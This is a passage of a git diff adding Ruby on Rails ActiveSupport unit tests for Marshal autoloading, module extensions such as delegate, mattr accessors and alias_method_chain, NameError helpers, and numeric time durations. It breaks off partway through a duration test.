+ include DependenciesTestHelpers
+
+ def teardown
+ ActiveSupport::Dependencies.clear
+ remove_constants(:E, :ClassFolder)
+ end
+
+ test "that Marshal#load still works" do
+ sanity_data = ["test", [1, 2, 3], {a: [1, 2, 3]}, ActiveSupport::TestCase]
+ sanity_data.each do |obj|
+ dumped = Marshal.dump(obj)
+ assert_equal Marshal.load_without_autoloading(dumped), Marshal.load(dumped)
+ end
+ end
+
+ test "that a missing class is autoloaded from string" do
+ dumped = nil
+ with_autoloading_fixtures do
+ dumped = Marshal.dump(E.new)
+ end
+
+ remove_constants(:E)
+ ActiveSupport::Dependencies.clear
+
+ with_autoloading_fixtures do
+ assert_kind_of E, Marshal.load(dumped)
+ end
+ end
+
+ test "that classes in sub modules work" do
+ dumped = nil
+ with_autoloading_fixtures do
+ dumped = Marshal.dump(ClassFolder::ClassFolderSubclass.new)
+ end
+
+ remove_constants(:ClassFolder)
+ ActiveSupport::Dependencies.clear
+
+ with_autoloading_fixtures do
+ assert_kind_of ClassFolder::ClassFolderSubclass, Marshal.load(dumped)
+ end
+ end
+
+ test "that more than one missing class is autoloaded" do
+ dumped = nil
+ with_autoloading_fixtures do
+ dumped = Marshal.dump([E.new, ClassFolder.new])
+ end
+
+ remove_constants(:E, :ClassFolder)
+ ActiveSupport::Dependencies.clear
+
+ with_autoloading_fixtures do
+ loaded = Marshal.load(dumped)
+ assert_equal 2, loaded.size
+ assert_kind_of E, loaded[0]
+ assert_kind_of ClassFolder, loaded[1]
+ end
+ end
+
+ test "that a real missing class is causing an exception" do
+ dumped = nil
+ with_autoloading_fixtures do
+ dumped = Marshal.dump(E.new)
+ end
+
+ remove_constants(:E)
+ ActiveSupport::Dependencies.clear
+
+ assert_raise(NameError) do
+ Marshal.load(dumped)
+ end
+ end
+
+ test "when first class is autoloaded and second not" do
+ dumped = nil
+ class SomeClass
+ end
+
+ with_autoloading_fixtures do
+ dumped = Marshal.dump([E.new, SomeClass.new])
+ end
+
+ remove_constants(:E)
+ self.class.send(:remove_const, :SomeClass)
+ ActiveSupport::Dependencies.clear
+
+ with_autoloading_fixtures do
+ assert_raise(NameError) do
+ Marshal.load(dumped)
+ end
+
+ assert_nothing_raised("E failed to load while we expect only SomeClass to fail loading") do
+ E.new
+ end
+
+ assert_raise(NameError, "We expected SomeClass to not be loaded but it is!") do
+ SomeClass.new
+ end
+ end
+ end
+
+ test "loading classes from files trigger autoloading" do
+ Tempfile.open("object_serializer_test") do |f|
+ with_autoloading_fixtures do
+ Marshal.dump(E.new, f)
+ end
+
+ f.rewind
+ remove_constants(:E)
+ ActiveSupport::Dependencies.clear
+
+ with_autoloading_fixtures do
+ assert_kind_of E, Marshal.load(f)
+ end
+ end
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/core_ext/module/anonymous_test.rb b/activesupport/test/core_ext/module/anonymous_test.rb
new file mode 100644
index 0000000..cb556af
--- /dev/null
+++ b/activesupport/test/core_ext/module/anonymous_test.rb
@@ -0,0 +1,14 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/anonymous'
+
+class AnonymousTest < ActiveSupport::TestCase
+ test "an anonymous class or module are anonymous" do
+ assert Module.new.anonymous?
+ assert Class.new.anonymous?
+ end
+
+ test "a named class or module are not anonymous" do
+ assert !Kernel.anonymous?
+ assert !Object.anonymous?
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/core_ext/module/attr_internal_test.rb b/activesupport/test/core_ext/module/attr_internal_test.rb
new file mode 100644
index 0000000..2aea14c
--- /dev/null
+++ b/activesupport/test/core_ext/module/attr_internal_test.rb
@@ -0,0 +1,53 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/attr_internal'
+
+class AttrInternalTest < ActiveSupport::TestCase
+ def setup
+ @target = Class.new
+ @instance = @target.new
+ end
+
+ def test_reader
+ assert_nothing_raised { @target.attr_internal_reader :foo }
+
+ assert !@instance.instance_variable_defined?('@_foo')
+ assert_raise(NoMethodError) { @instance.foo = 1 }
+
+ @instance.instance_variable_set('@_foo', 1)
+ assert_nothing_raised { assert_equal 1, @instance.foo }
+ end
+
+ def test_writer
+ assert_nothing_raised { @target.attr_internal_writer :foo }
+
+ assert !@instance.instance_variable_defined?('@_foo')
+ assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
+
+ assert_equal 1, @instance.instance_variable_get('@_foo')
+ assert_raise(NoMethodError) { @instance.foo }
+ end
+
+ def test_accessor
+ assert_nothing_raised { @target.attr_internal :foo }
+
+ assert !@instance.instance_variable_defined?('@_foo')
+ assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
+
+ assert_equal 1, @instance.instance_variable_get('@_foo')
+ assert_nothing_raised { assert_equal 1, @instance.foo }
+ end
+
+ def test_naming_format
+ assert_equal '@_%s', Module.attr_internal_naming_format
+ assert_nothing_raised { Module.attr_internal_naming_format = '@abc%sdef' }
+ @target.attr_internal :foo
+
+ assert !@instance.instance_variable_defined?('@_foo')
+ assert !@instance.instance_variable_defined?('@abcfoodef')
+ assert_nothing_raised { @instance.foo = 1 }
+ assert !@instance.instance_variable_defined?('@_foo')
+ assert @instance.instance_variable_defined?('@abcfoodef')
+ ensure
+ Module.attr_internal_naming_format = '@_%s'
+ end
+end
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
new file mode 100644
index 0000000..a577f90
--- /dev/null
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -0,0 +1,61 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/attribute_accessors'
+
+class ModuleAttributeAccessorTest < ActiveSupport::TestCase
+ def setup
+ m = @module = Module.new do
+ mattr_accessor :foo
+ mattr_accessor :bar, :instance_writer => false
+ mattr_reader :shaq, :instance_reader => false
+ mattr_accessor :camp, :instance_accessor => false
+ end
+ @class = Class.new
+ @class.instance_eval { include m }
+ @object = @class.new
+ end
+
+ def test_should_use_mattr_default
+ assert_nil @module.foo
+ assert_nil @object.foo
+ end
+
+ def test_should_set_mattr_value
+ @module.foo = :test
+ assert_equal :test, @object.foo
+
+ @object.foo = :test2
+ assert_equal :test2, @module.foo
+ end
+
+ def test_should_not_create_instance_writer
+ assert_respond_to @module, :foo
+ assert_respond_to @module, :foo=
+ assert_respond_to @object, :bar
+ assert !@object.respond_to?(:bar=)
+ end
+
+ def test_should_not_create_instance_reader
+ assert_respond_to @module, :shaq
+ assert !@object.respond_to?(:shaq)
+ end
+
+ def test_should_not_create_instance_accessors
+ assert_respond_to @module, :camp
+ assert !@object.respond_to?(:camp)
+ assert !@object.respond_to?(:camp=)
+ end
+
+ def test_should_raise_name_error_if_attribute_name_is_invalid
+ assert_raises NameError do
+ Class.new do
+ mattr_reader "invalid attribute name"
+ end
+ end
+
+ assert_raises NameError do
+ Class.new do
+ mattr_writer "invalid attribute name"
+ end
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/module/attribute_aliasing_test.rb b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
new file mode 100644
index 0000000..29c3053
--- /dev/null
+++ b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/aliasing'
+
+module AttributeAliasing
+ class Content
+ attr_accessor :title, :Data
+
+ def initialize
+ @title, @Data = nil, nil
+ end
+
+ def title?
+ !title.nil?
+ end
+
+ def Data?
+ !self.Data.nil?
+ end
+ end
+
+ class Email < Content
+ alias_attribute :subject, :title
+ alias_attribute :body, :Data
+ end
+end
+
+class AttributeAliasingTest < ActiveSupport::TestCase
+ def test_attribute_alias
+ e = AttributeAliasing::Email.new
+
+ assert !e.subject?
+
+ e.title = "Upgrade computer"
+ assert_equal "Upgrade computer", e.subject
+ assert e.subject?
+
+ e.subject = "We got a long way to go"
+ assert_equal "We got a long way to go", e.title
+ assert e.title?
+ end
+
+ def test_aliasing_to_uppercase_attributes
+ # Although it's very un-Ruby, some people's AR-mapped tables have
+ # upper-case attributes, and when people want to alias those names
+ # to more sensible ones, everything goes *foof*.
+ e = AttributeAliasing::Email.new
+
+ assert !e.body?
+ assert !e.Data?
+
+ e.body = "No, really, this is not a joke."
+ assert_equal "No, really, this is not a joke.", e.Data
+ assert e.Data?
+
+ e.Data = "Uppercased methods are teh suck"
+ assert_equal "Uppercased methods are teh suck", e.body
+ assert e.body?
+ end
+end
diff --git a/activesupport/test/core_ext/module/qualified_const_test.rb b/activesupport/test/core_ext/module/qualified_const_test.rb
new file mode 100644
index 0000000..37c9228
--- /dev/null
+++ b/activesupport/test/core_ext/module/qualified_const_test.rb
@@ -0,0 +1,108 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/qualified_const'
+
+module QualifiedConstTestMod
+ X = false
+
+ module M
+ X = 1
+
+ class C
+ X = 2
+ end
+ end
+
+ module N
+ include M
+ end
+end
+
+class QualifiedConstTest < ActiveSupport::TestCase
+ test "Object.qualified_const_defined?" do
+ assert Object.qualified_const_defined?("QualifiedConstTestMod")
+ assert !Object.qualified_const_defined?("NonExistingQualifiedConstTestMod")
+
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::X")
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::Y")
+
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::M::X")
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::M::Y")
+
+ if Module.method(:const_defined?).arity == 1
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X")
+ else
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X")
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X", false)
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X", true)
+ end
+ end
+
+ test "mod.qualified_const_defined?" do
+ assert QualifiedConstTestMod.qualified_const_defined?("M")
+ assert !QualifiedConstTestMod.qualified_const_defined?("NonExistingM")
+
+ assert QualifiedConstTestMod.qualified_const_defined?("M::X")
+ assert !QualifiedConstTestMod.qualified_const_defined?("M::Y")
+
+ assert QualifiedConstTestMod.qualified_const_defined?("M::C::X")
+ assert !QualifiedConstTestMod.qualified_const_defined?("M::C::Y")
+
+ if Module.method(:const_defined?).arity == 1
+ assert !QualifiedConstTestMod.qualified_const_defined?("QualifiedConstTestMod::N::X")
+ else
+ assert QualifiedConstTestMod.qualified_const_defined?("N::X")
+ assert !QualifiedConstTestMod.qualified_const_defined?("N::X", false)
+ assert QualifiedConstTestMod.qualified_const_defined?("N::X", true)
+ end
+ end
+
+ test "qualified_const_get" do
+ assert_equal false, Object.qualified_const_get("QualifiedConstTestMod::X")
+ assert_equal false, QualifiedConstTestMod.qualified_const_get("X")
+ assert_equal 1, QualifiedConstTestMod.qualified_const_get("M::X")
+ assert_equal 1, QualifiedConstTestMod.qualified_const_get("N::X")
+ assert_equal 2, QualifiedConstTestMod.qualified_const_get("M::C::X")
+
+ assert_raise(NameError) { QualifiedConstTestMod.qualified_const_get("M::C::Y")}
+ end
+
+ test "qualified_const_set" do
+ begin
+ m = Module.new
+ assert_equal m, Object.qualified_const_set("QualifiedConstTestMod2", m)
+ assert_equal m, ::QualifiedConstTestMod2
+
+ # We are going to assign to existing constants on purpose, so silence warnings.
+ silence_warnings do
+ assert_equal true, QualifiedConstTestMod.qualified_const_set("QualifiedConstTestMod::X", true)
+ assert_equal true, QualifiedConstTestMod::X
+
+ assert_equal 10, QualifiedConstTestMod::M.qualified_const_set("X", 10)
+ assert_equal 10, QualifiedConstTestMod::M::X
+ end
+ ensure
+ silence_warnings do
+ QualifiedConstTestMod.qualified_const_set('QualifiedConstTestMod::X', false)
+ QualifiedConstTestMod::M.qualified_const_set('X', 1)
+ end
+ end
+ end
+
+ test "reject absolute paths" do
+ assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X")}
+ assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X::Y")}
+
+ assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X")}
+ assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X::Y")}
+
+ assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X", nil)}
+ assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X::Y", nil)}
+ end
+
+ private
+
+ def assert_raise_with_message(expected_exception, expected_message, &block)
+ exception = assert_raise(expected_exception, &block)
+ assert_equal expected_message, exception.message
+ end
+end
diff --git a/activesupport/test/core_ext/module/reachable_test.rb b/activesupport/test/core_ext/module/reachable_test.rb
new file mode 100644
index 0000000..80eb31a
--- /dev/null
+++ b/activesupport/test/core_ext/module/reachable_test.rb
@@ -0,0 +1,41 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/reachable'
+
+class AnonymousTest < ActiveSupport::TestCase
+ test "an anonymous class or module is not reachable" do
+ assert !Module.new.reachable?
+ assert !Class.new.reachable?
+ end
+
+ test "ordinary named classes or modules are reachable" do
+ assert Kernel.reachable?
+ assert Object.reachable?
+ end
+
+ test "a named class or module whose constant has gone is not reachable" do
+ c = eval "class C; end; C"
+ m = eval "module M; end; M"
+
+ self.class.send(:remove_const, :C)
+ self.class.send(:remove_const, :M)
+
+ assert !c.reachable?
+ assert !m.reachable?
+ end
+
+ test "a named class or module whose constants store different objects are not reachable" do
+ c = eval "class C; end; C"
+ m = eval "module M; end; M"
+
+ self.class.send(:remove_const, :C)
+ self.class.send(:remove_const, :M)
+
+ eval "class C; end"
+ eval "module M; end"
+
+ assert C.reachable?
+ assert M.reachable?
+ assert !c.reachable?
+ assert !m.reachable?
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/core_ext/module/remove_method_test.rb b/activesupport/test/core_ext/module/remove_method_test.rb
new file mode 100644
index 0000000..4657f0c
--- /dev/null
+++ b/activesupport/test/core_ext/module/remove_method_test.rb
@@ -0,0 +1,29 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/remove_method'
+
+module RemoveMethodTests
+ class A
+ def do_something
+ return 1
+ end
+
+ end
+end
+
+class RemoveMethodTest < ActiveSupport::TestCase
+
+ def test_remove_method_from_an_object
+ RemoveMethodTests::A.class_eval{
+ self.remove_possible_method(:do_something)
+ }
+ assert !RemoveMethodTests::A.new.respond_to?(:do_something)
+ end
+
+ def test_redefine_method_in_an_object
+ RemoveMethodTests::A.class_eval{
+ self.redefine_method(:do_something) { return 100 }
+ }
+ assert_equal 100, RemoveMethodTests::A.new.do_something
+ end
+
+end
\ No newline at end of file
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
new file mode 100644
index 0000000..8872611
--- /dev/null
+++ b/activesupport/test/core_ext/module_test.rb
@@ -0,0 +1,473 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module'
+
+module One
+ Constant1 = "Hello World"
+ Constant2 = "What's up?"
+end
+
+class Ab
+ include One
+ Constant1 = "Hello World" # Will have different object id than One::Constant1
+ Constant3 = "Goodbye World"
+end
+
+module Xy
+ class Bc
+ include One
+ end
+end
+
+module Yz
+ module Zy
+ class Cd
+ include One
+ end
+ end
+end
+
+Somewhere = Struct.new(:street, :city) do
+ attr_accessor :name
+end
+
+class Someone < Struct.new(:name, :place)
+ delegate :street, :city, :to_f, :to => :place
+ delegate :name=, :to => :place, :prefix => true
+ delegate :upcase, :to => "place.city"
+ delegate :table_name, :to => :class
+ delegate :table_name, :to => :class, :prefix => true
+
+ def self.table_name
+ 'some_table'
+ end
+
+ FAILED_DELEGATE_LINE = __LINE__ + 1
+ delegate :foo, :to => :place
+
+ FAILED_DELEGATE_LINE_2 = __LINE__ + 1
+ delegate :bar, :to => :place, :allow_nil => true
+end
+
+Invoice = Struct.new(:client) do
+ delegate :street, :city, :name, :to => :client, :prefix => true
+ delegate :street, :city, :name, :to => :client, :prefix => :customer
+end
+
+Project = Struct.new(:description, :person) do
+ delegate :name, :to => :person, :allow_nil => true
+ delegate :to_f, :to => :description, :allow_nil => true
+end
+
+Developer = Struct.new(:client) do
+ delegate :name, :to => :client, :prefix => nil
+end
+
+Tester = Struct.new(:client) do
+ delegate :name, :to => :client, :prefix => false
+end
+
+class ParameterSet
+ delegate :[], :[]=, :to => :@params
+
+ def initialize
+ @params = {:foo => "bar"}
+ end
+end
+
+class Name
+ delegate :upcase, :to => :@full_name
+
+ def initialize(first, last)
+ @full_name = "#{first} #{last}"
+ end
+end
+
+class SideEffect
+ attr_reader :ints
+
+ delegate :to_i, :to => :shift, :allow_nil => true
+ delegate :to_s, :to => :shift
+
+ def initialize
+ @ints = [1, 2, 3]
+ end
+
+ def shift
+ @ints.shift
+ end
+end
+
+class ModuleTest < ActiveSupport::TestCase
+ def setup
+ @david = Someone.new("David", Somewhere.new("Paulina", "Chicago"))
+ end
+
+ def test_delegation_to_methods
+ assert_equal "Paulina", @david.street
+ assert_equal "Chicago", @david.city
+ end
+
+ def test_delegation_to_assignment_method
+ @david.place_name = "Fred"
+ assert_equal "Fred", @david.place.name
+ end
+
+ def test_delegation_to_index_get_method
+ @params = ParameterSet.new
+ assert_equal "bar", @params[:foo]
+ end
+
+ def test_delegation_to_index_set_method
+ @params = ParameterSet.new
+ @params[:foo] = "baz"
+ assert_equal "baz", @params[:foo]
+ end
+
+ def test_delegation_down_hierarchy
+ assert_equal "CHICAGO", @david.upcase
+ end
+
+ def test_delegation_to_instance_variable
+ david = Name.new("David", "Hansson")
+ assert_equal "DAVID HANSSON", david.upcase
+ end
+
+ def test_delegation_to_class_method
+ assert_equal 'some_table', @david.table_name
+ assert_equal 'some_table', @david.class_table_name
+ end
+
+ def test_missing_delegation_target
+ assert_raise(ArgumentError) do
+ Name.send :delegate, :nowhere
+ end
+ assert_raise(ArgumentError) do
+ Name.send :delegate, :noplace, :tos => :hollywood
+ end
+ end
+
+ def test_delegation_prefix
+ invoice = Invoice.new(@david)
+ assert_equal invoice.client_name, "David"
+ assert_equal invoice.client_street, "Paulina"
+ assert_equal invoice.client_city, "Chicago"
+ end
+
+ def test_delegation_custom_prefix
+ invoice = Invoice.new(@david)
+ assert_equal invoice.customer_name, "David"
+ assert_equal invoice.customer_street, "Paulina"
+ assert_equal invoice.customer_city, "Chicago"
+ end
+
+ def test_delegation_prefix_with_nil_or_false
+ assert_equal Developer.new(@david).name, "David"
+ assert_equal Tester.new(@david).name, "David"
+ end
+
+ def test_delegation_prefix_with_instance_variable
+ assert_raise ArgumentError do
+ Class.new do
+ def initialize(client)
+ @client = client
+ end
+ delegate :name, :address, :to => :@client, :prefix => true
+ end
+ end
+ end
+
+ def test_delegation_with_allow_nil
+ rails = Project.new("Rails", Someone.new("David"))
+ assert_equal rails.name, "David"
+ end
+
+ def test_delegation_with_allow_nil_and_nil_value
+ rails = Project.new("Rails")
+ assert_nil rails.name
+ end
+
+ # Ensures with check for nil, not for a falseish target.
+ def test_delegation_with_allow_nil_and_false_value
+ project = Project.new(false, false)
+ assert_raise(NoMethodError) { project.name }
+ end
+
+ def test_delegation_with_allow_nil_and_invalid_value
+ rails = Project.new("Rails", "David")
+ assert_raise(NoMethodError) { rails.name }
+ end
+
+ def test_delegation_with_allow_nil_and_nil_value_and_prefix
+ Project.class_eval do
+ delegate :name, :to => :person, :allow_nil => true, :prefix => true
+ end
+ rails = Project.new("Rails")
+ assert_nil rails.person_name
+ end
+
+ def test_delegation_without_allow_nil_and_nil_value
+ david = Someone.new("David")
+ assert_raise(RuntimeError) { david.street }
+ end
+
+ def test_delegation_to_method_that_exists_on_nil
+ nil_person = Someone.new(nil)
+ assert_equal 0.0, nil_person.to_f
+ end
+
+ def test_delegation_to_method_that_exists_on_nil_when_allowing_nil
+ nil_project = Project.new(nil)
+ assert_equal 0.0, nil_project.to_f
+ end
+
+ def test_delegation_does_not_raise_error_when_removing_singleton_instance_methods
+ parent = Class.new do
+ def self.parent_method; end
+ end
+
+ assert_nothing_raised do
+ Class.new(parent) do
+ class << self
+ delegate :parent_method, :to => :superclass
+ end
+ end
+ end
+ end
+
+ def test_delegation_exception_backtrace
+ someone = Someone.new("foo", "bar")
+ someone.foo
+ rescue NoMethodError => e
+ file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE}"
+ # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace.
+ assert e.backtrace.any?{|a| a.include?(file_and_line)},
+ "[#{e.backtrace.inspect}] did not include [#{file_and_line}]"
+ end
+
+ def test_delegation_exception_backtrace_with_allow_nil
+ someone = Someone.new("foo", "bar")
+ someone.bar
+ rescue NoMethodError => e
+ file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE_2}"
+ # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace.
+ assert e.backtrace.any?{|a| a.include?(file_and_line)},
+ "[#{e.backtrace.inspect}] did not include [#{file_and_line}]"
+ end
+
+ def test_delegation_invokes_the_target_exactly_once
+ se = SideEffect.new
+
+ assert_equal 1, se.to_i
+ assert_equal [2, 3], se.ints
+
+ assert_equal '2', se.to_s
+ assert_equal [3], se.ints
+ end
+
+ def test_parent
+ assert_equal Yz::Zy, Yz::Zy::Cd.parent
+ assert_equal Yz, Yz::Zy.parent
+ assert_equal Object, Yz.parent
+ end
+
+ def test_parents
+ assert_equal [Yz::Zy, Yz, Object], Yz::Zy::Cd.parents
+ assert_equal [Yz, Object], Yz::Zy.parents
+ end
+
+ def test_local_constants
+ assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s)
+ end
+
+ def test_local_constant_names
+ ActiveSupport::Deprecation.silence do
+ assert_equal %w(Constant1 Constant3), Ab.local_constant_names.sort.map(&:to_s)
+ end
+ end
+end
+
+module BarMethodAliaser
+ def self.included(foo_class)
+ foo_class.class_eval do
+ include BarMethods
+ alias_method_chain :bar, :baz
+ end
+ end
+end
+
+module BarMethods
+ def bar_with_baz
+ bar_without_baz << '_with_baz'
+ end
+
+ def quux_with_baz!
+ quux_without_baz! << '_with_baz'
+ end
+
+ def quux_with_baz?
+ false
+ end
+
+ def quux_with_baz=(v)
+ send(:quux_without_baz=, v) << '_with_baz'
+ end
+
+ def duck_with_orange
+ duck_without_orange << '_with_orange'
+ end
+end
+
+class MethodAliasingTest < ActiveSupport::TestCase
+ def setup
+ Object.const_set :FooClassWithBarMethod, Class.new { def bar() 'bar' end }
+ @instance = FooClassWithBarMethod.new
+ end
+
+ def teardown
+ Object.instance_eval { remove_const :FooClassWithBarMethod }
+ end
+
+ def test_alias_method_chain
+ assert @instance.respond_to?(:bar)
+ feature_aliases = [:bar_with_baz, :bar_without_baz]
+
+ feature_aliases.each do |method|
+ assert !@instance.respond_to?(method)
+ end
+
+ assert_equal 'bar', @instance.bar
+
+ FooClassWithBarMethod.class_eval { include BarMethodAliaser }
+
+ feature_aliases.each do |method|
+ assert_respond_to @instance, method
+ end
+
+ assert_equal 'bar_with_baz', @instance.bar
+ assert_equal 'bar', @instance.bar_without_baz
+ end
+
+ def test_alias_method_chain_with_punctuation_method
+ FooClassWithBarMethod.class_eval do
+ def quux!; 'quux' end
+ end
+
+ assert !@instance.respond_to?(:quux_with_baz!)
+ FooClassWithBarMethod.class_eval do
+ include BarMethodAliaser
+ alias_method_chain :quux!, :baz
+ end
+ assert_respond_to @instance, :quux_with_baz!
+
+ assert_equal 'quux_with_baz', @instance.quux!
+ assert_equal 'quux', @instance.quux_without_baz!
+ end
+
+ def test_alias_method_chain_with_same_names_between_predicates_and_bang_methods
+ FooClassWithBarMethod.class_eval do
+ def quux!; 'quux!' end
+ def quux?; true end
+ def quux=(v); 'quux=' end
+ end
+
+ assert !@instance.respond_to?(:quux_with_baz!)
+ assert !@instance.respond_to?(:quux_with_baz?)
+ assert !@instance.respond_to?(:quux_with_baz=)
+
+ FooClassWithBarMethod.class_eval { include BarMethodAliaser }
+ assert_respond_to @instance, :quux_with_baz!
+ assert_respond_to @instance, :quux_with_baz?
+ assert_respond_to @instance, :quux_with_baz=
+
+
+ FooClassWithBarMethod.alias_method_chain :quux!, :baz
+ assert_equal 'quux!_with_baz', @instance.quux!
+ assert_equal 'quux!', @instance.quux_without_baz!
+
+ FooClassWithBarMethod.alias_method_chain :quux?, :baz
+ assert_equal false, @instance.quux?
+ assert_equal true, @instance.quux_without_baz?
+
+ FooClassWithBarMethod.alias_method_chain :quux=, :baz
+ assert_equal 'quux=_with_baz', @instance.send(:quux=, 1234)
+ assert_equal 'quux=', @instance.send(:quux_without_baz=, 1234)
+ end
+
+ def test_alias_method_chain_with_feature_punctuation
+ FooClassWithBarMethod.class_eval do
+ def quux; 'quux' end
+ def quux?; 'quux?' end
+ include BarMethodAliaser
+ alias_method_chain :quux, :baz!
+ end
+
+ assert_nothing_raised do
+ assert_equal 'quux_with_baz', @instance.quux_with_baz!
+ end
+
+ assert_raise(NameError) do
+ FooClassWithBarMethod.alias_method_chain :quux?, :baz!
+ end
+ end
+
+ def test_alias_method_chain_yields_target_and_punctuation
+ args = nil
+
+ FooClassWithBarMethod.class_eval do
+ def quux?; end
+ include BarMethods
+
+ FooClassWithBarMethod.alias_method_chain :quux?, :baz do |target, punctuation|
+ args = [target, punctuation]
+ end
+ end
+
+ assert_not_nil args
+ assert_equal 'quux', args[0]
+ assert_equal '?', args[1]
+ end
+
+ def test_alias_method_chain_preserves_private_method_status
+ FooClassWithBarMethod.class_eval do
+ def duck; 'duck' end
+ include BarMethodAliaser
+ private :duck
+ alias_method_chain :duck, :orange
+ end
+
+ assert_raise NoMethodError do
+ @instance.duck
+ end
+
+ assert_equal 'duck_with_orange', @instance.instance_eval { duck }
+ assert FooClassWithBarMethod.private_method_defined?(:duck)
+ end
+
+ def test_alias_method_chain_preserves_protected_method_status
+ FooClassWithBarMethod.class_eval do
+ def duck; 'duck' end
+ include BarMethodAliaser
+ protected :duck
+ alias_method_chain :duck, :orange
+ end
+
+ assert_raise NoMethodError do
+ @instance.duck
+ end
+
+ assert_equal 'duck_with_orange', @instance.instance_eval { duck }
+ assert FooClassWithBarMethod.protected_method_defined?(:duck)
+ end
+
+ def test_alias_method_chain_preserves_public_method_status
+ FooClassWithBarMethod.class_eval do
+ def duck; 'duck' end
+ include BarMethodAliaser
+ public :duck
+ alias_method_chain :duck, :orange
+ end
+
+ assert_equal 'duck_with_orange', @instance.duck
+ assert FooClassWithBarMethod.public_method_defined?(:duck)
+ end
+end
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
new file mode 100644
index 0000000..03ce09f
--- /dev/null
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -0,0 +1,21 @@
+require 'abstract_unit'
+require 'active_support/core_ext/name_error'
+
+class NameErrorTest < ActiveSupport::TestCase
+ def test_name_error_should_set_missing_name
+ SomeNameThatNobodyWillUse____Really ? 1 : 0
+ flunk "?!?!"
+ rescue NameError => exc
+ assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
+ assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
+ assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
+ end
+
+ def test_missing_method_should_ignore_missing_name
+ some_method_that_does_not_exist
+ flunk "?!?!"
+ rescue NameError => exc
+ assert !exc.missing_name?(:Foo)
+ assert_nil exc.missing_name
+ end
+end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
new file mode 100644
index 0000000..3744d50
--- /dev/null
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -0,0 +1,497 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'active_support/core_ext/numeric'
+require 'active_support/core_ext/integer'
+
+class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
+ def setup
+ @now = Time.local(2005,2,10,15,30,45)
+ @dtnow = DateTime.civil(2005,2,10,15,30,45)
+ @seconds = {
+ 1.minute => 60,
+ 10.minutes => 600,
+ 1.hour + 15.minutes => 4500,
+ 2.days + 4.hours + 30.minutes => 189000,
+ 5.years + 1.month + 1.fortnight => 161589600
+ }
+ end
+
+ def test_units
+ @seconds.each do |actual, expected|
+ assert_equal expected, actual
+ end
+ end
+
+ def test_intervals
+ @seconds.values.each do |seconds|
+ assert_equal seconds.since(@now), @now + seconds
+ assert_equal seconds.until(@now), @now - seconds
+ end
+ end
+
+ # Test intervals based from Time.now
+ def test_now
+ @seconds.values.each do |seconds|
+ now = Time.now
+ assert seconds.ago >= now - seconds
+ now = Time.now
+ assert seconds.from_now >= now + seconds
+ end
+ end
+
+ def test_irregular_durations
+ assert_equal @now.advance(:days => 3000), 3000.days.since(@now)
+ assert_equal @now.advance(:months => 1), 1.month.since(@now)
+ assert_equal @now.advance(:months => -1), 1.month.until(@now)
+ assert_equal @now.advance(:years => 20), 20.years.since(@now)
+ assert_equal @dtnow.advance(:days => 3000), 3000.days.since(@dtnow)
+ assert_equal @dtnow.advance(:months => 1), 1.month.since(@dtnow)
+ assert_equal @dtnow.advance(:months => -1), 1.month.until(@dtnow)
+ assert_equal @dtnow.advance(:years => 20), 20.years.since(@dtnow)
+ end
+
+ def test_duration_addition
+ assert_equal @now.advance(:days => 1).advance(:months => 1), (1.day + 1.month).since(@now)
+ assert_equal @now.advance(:days => 7), (1.week + 5.seconds - 5.seconds).since(@now)
+ assert_equal @now.advance(:years => 2), (4.years - 2.years).since(@now)
+ assert_equal @dtnow.advance(:days => 1).advance(:months => 1), (1.day + 1.month).since(@dtnow)
+ assert_equal @dtnow.advance(:days => 7), (1.week + 5.seconds - 5.seconds).since(@dtnow)
+ assert_equal @dtnow.advance(:years => 2), (4.years - 2.years).since(@dtnow)
+ end
+
+ def test_time_plus_duration
+ assert_equal @now + 8, @now + 8.seconds
